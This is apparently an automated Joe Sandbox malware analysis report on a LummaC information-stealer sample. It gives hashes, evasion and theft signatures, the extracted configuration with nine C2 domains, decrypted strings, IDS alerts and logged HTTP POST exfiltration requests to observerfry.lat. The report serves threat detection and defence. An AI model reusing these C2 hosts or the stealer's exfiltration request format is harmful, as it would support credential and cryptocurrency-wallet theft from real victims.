Edit tour

Windows Analysis Report
bG89JAQXz2.exe

Overview

General Information

Sample name:	bG89JAQXz2.exe renamed because original name is a hash value
Original sample name:	31e8115c0eed64699ce7e3480f6f3edd.exe
Analysis ID:	1580352
MD5:	31e8115c0eed64699ce7e3480f6f3edd
SHA1:	1673ffededcbeda8de728cef76f2290ff87da236
SHA256:	1d00a9cd9a4df1835dac89bb08b8421ce81f456aaa25a4a2a9564f3e7e917fac
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Detected potential crypto function

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

bG89JAQXz2.exe (PID: 6780 cmdline: "C:\Users\user\Desktop\bG89JAQXz2.exe" MD5: 31E8115C0EED64699CE7E3480F6F3EDD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["wordyfindy.lat", "curverpluch.lat", "observerfry.lat", "bashfulacid.lat", "shapestickyr.lat", "tentabatte.lat", "slipperyloo.lat", "manyrestro.lat", "talkynicer.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2305281621.0000000001312000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2304764046.0000000001312000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: bG89JAQXz2.exe PID: 6780	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: bG89JAQXz2.exe PID: 6780	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: bG89JAQXz2.exe PID: 6780	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T11:22:17.453985+0100	2028371	3	Unknown Traffic	192.168.2.5	49720	104.21.36.201	443	TCP
2024-12-24T11:22:19.694047+0100	2028371	3	Unknown Traffic	192.168.2.5	49722	104.21.36.201	443	TCP
2024-12-24T11:22:22.442428+0100	2028371	3	Unknown Traffic	192.168.2.5	49723	104.21.36.201	443	TCP
2024-12-24T11:22:24.621908+0100	2028371	3	Unknown Traffic	192.168.2.5	49726	104.21.36.201	443	TCP
2024-12-24T11:22:26.953602+0100	2028371	3	Unknown Traffic	192.168.2.5	49728	104.21.36.201	443	TCP
2024-12-24T11:22:30.273398+0100	2028371	3	Unknown Traffic	192.168.2.5	49739	104.21.36.201	443	TCP
2024-12-24T11:22:33.132247+0100	2028371	3	Unknown Traffic	192.168.2.5	49746	104.21.36.201	443	TCP
2024-12-24T11:22:35.975732+0100	2028371	3	Unknown Traffic	192.168.2.5	49757	104.21.36.201	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T11:22:18.307009+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49720	104.21.36.201	443	TCP
2024-12-24T11:22:20.454845+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49722	104.21.36.201	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T11:22:18.307009+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49720	104.21.36.201	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T11:22:20.454845+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49722	104.21.36.201	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T11:22:31.026939+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49739	104.21.36.201	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: bG89JAQXz2.exe

Avira: detected

Found malware configuration

Source: bG89JAQXz2.exe.6780.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["wordyfindy.lat", "curverpluch.lat", "observerfry.lat", "bashfulacid.lat", "shapestickyr.lat", "tentabatte.lat", "slipperyloo.lat", "manyrestro.lat", "talkynicer.lat"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: bG89JAQXz2.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: bG89JAQXz2.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.2173839061.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: bashfulacid.lat
Source: 00000000.00000003.2173839061.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tentabatte.lat
Source: 00000000.00000003.2173839061.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: curverpluch.lat
Source: 00000000.00000003.2173839061.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: talkynicer.lat
Source: 00000000.00000003.2173839061.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shapestickyr.lat
Source: 00000000.00000003.2173839061.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: manyrestro.lat
Source: 00000000.00000003.2173839061.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: slipperyloo.lat
Source: 00000000.00000003.2173839061.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wordyfindy.lat
Source: 00000000.00000003.2173839061.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: observerfry.lat
Source: 00000000.00000003.2173839061.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.2173839061.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.2173839061.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.2173839061.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.2173839061.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.2173839061.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: PsFKDg--pablo

Source: bG89JAQXz2.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49746 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49722 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49722 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49739 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49720 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49720 -> 104.21.36.201:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: observerfry.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: talkynicer.lat

Source: Joe Sandbox View

IP Address: 104.21.36.201 104.21.36.201

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49720 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49739 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49728 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49723 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49746 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49722 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49757 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49726 -> 104.21.36.201:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WSUQ10MFH0JTREA1NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12829Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SETRTZCKVSIVYMIPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15065Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GBYDC3V02UA8IRQ5X7SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20573Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0R60RCSNSPEZPN0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1242Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=I38T5QGSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 586388Host: observerfry.lat

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: observerfry.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat

Source: bG89JAQXz2.exe, 00000000.00000003.2270808376.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: bG89JAQXz2.exe, 00000000.00000003.2270808376.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: bG89JAQXz2.exe, 00000000.00000003.2332723683.0000000001349000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2346909079.0000000001349000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2304764046.0000000001349000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2221948476.0000000001349000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2305281621.0000000001349000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2372120572.0000000001356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: bG89JAQXz2.exe, 00000000.00000003.2270808376.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: bG89JAQXz2.exe, 00000000.00000003.2270808376.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: bG89JAQXz2.exe, 00000000.00000003.2270808376.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: bG89JAQXz2.exe, 00000000.00000003.2270808376.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: bG89JAQXz2.exe, 00000000.00000003.2270808376.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: bG89JAQXz2.exe, 00000000.00000003.2270808376.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: bG89JAQXz2.exe, 00000000.00000003.2270808376.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: bG89JAQXz2.exe, 00000000.00000003.2270808376.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: bG89JAQXz2.exe, 00000000.00000003.2270808376.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: bG89JAQXz2.exe, 00000000.00000003.2272564613.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: bG89JAQXz2.exe, 00000000.00000003.2272564613.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: bG89JAQXz2.exe, 00000000.00000003.2272564613.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: bG89JAQXz2.exe, 00000000.00000003.2272564613.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: bG89JAQXz2.exe, 00000000.00000003.2272564613.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: bG89JAQXz2.exe, 00000000.00000003.2222165274.0000000001314000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2372297015.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2248229958.0000000005C1C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000002.2376009955.00000000012E2000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2346909079.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000002.2376009955.0000000001314000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2332685941.0000000005C1F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000002.2376426215.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2333785595.0000000005C17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/
Source: bG89JAQXz2.exe, 00000000.00000003.2270206810.0000000005C17000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2298721301.0000000005C1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/3LU
Source: bG89JAQXz2.exe, 00000000.00000003.2372195133.0000000001314000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2372195133.0000000001304000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2270264706.0000000005C25000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2248765216.0000000005C19000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2249278814.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/api
Source: bG89JAQXz2.exe, 00000000.00000003.2222165274.0000000001314000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apiQog
Source: bG89JAQXz2.exe, 00000000.00000003.2346909079.0000000001314000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000002.2376009955.0000000001314000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2372195133.0000000001314000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apicb
Source: bG89JAQXz2.exe, 00000000.00000003.2270206810.0000000005C17000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2270609939.0000000005C27000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2270264706.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apilock
Source: bG89JAQXz2.exe, 00000000.00000003.2222103814.00000000012E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/d
Source: bG89JAQXz2.exe, 00000000.00000003.2298721301.0000000005C1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/f
Source: bG89JAQXz2.exe, 00000000.00000003.2333090511.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/op
Source: bG89JAQXz2.exe, 00000000.00000003.2221948476.00000000012F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/p
Source: bG89JAQXz2.exe, 00000000.00000002.2376426215.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/pio
Source: bG89JAQXz2.exe, 00000000.00000003.2372297015.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2346909079.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000002.2376426215.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/steG
Source: bG89JAQXz2.exe, 00000000.00000003.2305222084.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2333090511.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2346909079.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2372098275.0000000001380000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2305617347.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000002.2379505567.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat:443/api
Source: bG89JAQXz2.exe, 00000000.00000003.2346909079.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2372098275.0000000001380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat:443/api0
Source: bG89JAQXz2.exe, 00000000.00000003.2272187515.0000000005D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: bG89JAQXz2.exe, 00000000.00000003.2272187515.0000000005D32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: bG89JAQXz2.exe, 00000000.00000003.2272564613.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: bG89JAQXz2.exe, 00000000.00000003.2272564613.0000000005C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: bG89JAQXz2.exe, 00000000.00000003.2223263047.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223834494.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2223316697.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
